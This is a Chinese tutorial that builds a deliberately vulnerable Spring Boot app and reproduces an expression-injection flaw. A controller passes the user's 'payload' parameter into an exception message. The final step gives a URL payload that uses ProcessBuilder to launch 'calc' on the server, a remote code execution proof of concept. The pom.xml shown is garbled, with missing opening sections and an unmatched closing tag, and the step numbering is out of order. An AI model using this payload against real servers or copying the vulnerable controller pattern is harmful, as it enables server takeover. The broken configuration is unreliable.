整合Spring Boot

1.file==》new==》project

 

2.搭建成功，目录结构如下

 

 

 3.右键com.example.demo

 

 

 4.新建包

 

5.右键web包，新建Java Class文件SimpleController

package com.example.demo.web;

import com.example.demo.service.HelloWorldService;

import org.springframework.beans.factory.annotation.Autowired;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

@Controller

public class SampleController {

    @Autowired

    private HelloWorldService helloWorldService;

    @RequestMapping("/")

    @ResponseBody

    public String helloWorld(String payload){

        //Integer.parseInt(id);

        //throw new IlleaglStateException();

        throw  new IllegalStateException(payload);

    }

}

6.新建service文件HelloWorldService

package com.example.demo.service;

import org.springframework.stereotype.Service;

@Service

public class HelloWorldService {

}

10、此时SpringBoot已搭建完成，但是版本不对，打开pom.xml,将下列代码替换pom.xml中的内容

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">

    </parent>

            <artifactId>spring-test</artifactId>

            <version>4.1.6.RELEASE</version>

        </dependency>

    </dependencies>

    <build>

        <plugins>

            <plugin>

                <groupId>org.springframework.boot</groupId>

                <artifactId>spring-boot-maven-plugin</artifactId>

            </plugin>

        </plugins>

    </build>

</project>


7.运行项目
打开DemoApplication.java文件，右键运行

 

8.此时会报错，删除test文件夹即可（右键==》delete）

 

 9.再次运行，出现以下界面即为成功

 

 10.地址栏里输入http://127.0.0.1:8080/?payload=${new%20java.lang.ProcessBuilder(new%20java.lang.String(new%20byte[]{99,97,108,99})).start()}
